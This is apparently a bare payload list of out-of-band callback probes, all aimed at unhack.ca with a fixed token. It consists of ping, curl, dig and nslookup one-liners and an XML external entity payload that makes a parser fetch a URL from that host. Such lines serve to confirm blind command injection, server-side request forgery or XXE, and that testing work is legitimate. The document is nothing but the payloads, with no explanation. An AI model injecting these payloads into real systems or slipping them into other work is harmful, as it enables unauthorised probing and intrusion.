$ ping -c1 -p 009caa0b719fac0dc088b4732599ac00 unhack.ca
$ curl http://unhack.ca/p/9caa0b719fac0dc088b4732599ac
$ dig 9caa0b719fac0dc088b4732599ac @unhack.ca
$ dig 9caa0b719fac0dc088b4732599ac.ns.unhack.ca
C:\> nslookup 9caa0b719fac0dc088b4732599ac unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/9caa0b719fac0dc088b4732599ac">]> <foo>&xxe;</foo>